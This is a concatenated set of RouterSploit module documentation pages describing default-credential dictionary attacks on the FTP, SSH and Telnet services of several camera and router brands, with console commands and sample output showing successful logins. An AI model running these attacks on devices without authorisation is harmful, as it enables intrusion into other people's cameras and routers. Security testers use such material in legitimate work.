[*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/speco/ssh_default_creds.md000066400000000000000000000025361400750623600273620ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Speco Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/speco/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/speco/ssh_default_creds rsf (Speco Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Speco Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/speco/telnet_default_creds.md000066400000000000000000000025661400750623600300630ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Speco Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/speco/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/speco/telnet_default_creds rsf (Speco Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Speco Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/stardot/000077500000000000000000000000001400750623600237205ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/stardot/ftp_default_creds.md000066400000000000000000000024751400750623600277270ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Stardot Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/stardot/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/stardot/ftp_default_creds rsf (Stardot Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Stardot Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/stardot/ssh_default_creds.md000066400000000000000000000025501400750623600277250ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Stardot Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/stardot/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/stardot/ssh_default_creds rsf (Stardot Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Stardot Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/stardot/telnet_default_creds.md000066400000000000000000000026001400750623600304170ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Stardot Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/stardot/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/stardot/telnet_default_creds rsf (Stardot Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Stardot Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/vacron/000077500000000000000000000000001400750623600235305ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/vacron/ftp_default_creds.md000066400000000000000000000024701400750623600275320ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Vacron Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/vacron/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/vacron/ftp_default_creds rsf (Vacron Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Vacron Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/vacron/ssh_default_creds.md000066400000000000000000000025431400750623600275370ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Vacron Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/vacron/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/vacron/ssh_default_creds rsf (Vacron Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Vacron Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/vacron/telnet_default_creds.md000066400000000000000000000025731400750623600302400ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Vacron Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/vacron/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/vacron/telnet_default_creds rsf (Vacron Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Vacron Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/cameras/videoiq/000077500000000000000000000000001400750623600237005ustar00rootroot00000000000000routersploit-master/docs/modules/creds/cameras/videoiq/ftp_default_creds.md000066400000000000000000000024751400750623600277070ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against VideoIQ Camera FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/videoiq/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/videoiq/ftp_default_creds rsf (VideoIQ Camera Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (VideoIQ Camera Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/cameras/videoiq/ssh_default_creds.md000066400000000000000000000025501400750623600277050ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against VideoIQ Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/videoiq/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/videoiq/ssh_default_creds rsf (VideoIQ Camera Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (VideoIQ Camera Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/cameras/videoiq/telnet_default_creds.md000066400000000000000000000026001400750623600303770ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against VideoIQ Camera Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/cameras/videoiq/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/cameras/videoiq/telnet_default_creds rsf (VideoIQ Camera Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (VideoIQ Camera Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/000077500000000000000000000000001400750623600223305ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/asmax/000077500000000000000000000000001400750623600234415ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/asmax/ftp_default_creds.md000066400000000000000000000024631400750623600274450ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Asmax Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/asmax/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/asmax/ftp_default_creds rsf (Asmax Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asmax Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/asmax/ssh_default_creds.md000066400000000000000000000025361400750623600274520ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Asmax Camera SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/asmax/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/asmax/ssh_default_creds rsf (Asmax Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asmax Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/asmax/telnet_default_creds.md000066400000000000000000000025661400750623600301530ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Asmax Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/asmax/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/asmax/telnet_default_creds rsf (Asmax Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asmax Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/asus/000077500000000000000000000000001400750623600233035ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/asus/ftp_default_creds.md000066400000000000000000000024561400750623600273110ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Asus Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/asus/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/asus/ftp_default_creds rsf (Asus Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asus Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/asus/ssh_default_creds.md000066400000000000000000000025311400750623600273070ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Asus Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/asus/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/asus/ssh_default_creds rsf (Asus Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asus Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/asus/telnet_default_creds.md000066400000000000000000000025611400750623600300100ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Asus Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/asus/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/asus/telnet_default_creds rsf (Asus Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Asus Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/belkin/000077500000000000000000000000001400750623600235745ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/belkin/ftp_default_creds.md000066400000000000000000000024701400750623600275760ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Belkin Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/belkin/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/belkin/ftp_default_creds rsf (Belkin Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Belkin Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/belkin/ssh_default_creds.md000066400000000000000000000025431400750623600276030ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Belkin Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/belkin/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/belkin/ssh_default_creds rsf (Belkin Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Belkin Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/belkin/telnet_default_creds.md000066400000000000000000000025731400750623600303040ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Belkin Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/belkin/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/belkin/telnet_default_creds rsf (Belkin Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Belkin Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/bhu/000077500000000000000000000000001400750623600231065ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/bhu/ftp_default_creds.md000066400000000000000000000024511400750623600271070ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Bhu Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/bhu/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/bhu/ftp_default_creds rsf (Bhu Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Bhu Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/bhu/ssh_default_creds.md000066400000000000000000000025241400750623600271140ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Bhu Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/bhu/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/bhu/ssh_default_creds rsf (Bhu Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Bhu Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/bhu/telnet_default_creds.md000066400000000000000000000025541400750623600276150ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Bhu Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/bhu/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/bhu/telnet_default_creds rsf (Bhu Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Bhu Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/billion/000077500000000000000000000000001400750623600237605ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/billion/ftp_default_creds.md000066400000000000000000000024751400750623600277670ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Billion Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/billion/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/billion/ftp_default_creds rsf (Billion Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Billion Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` 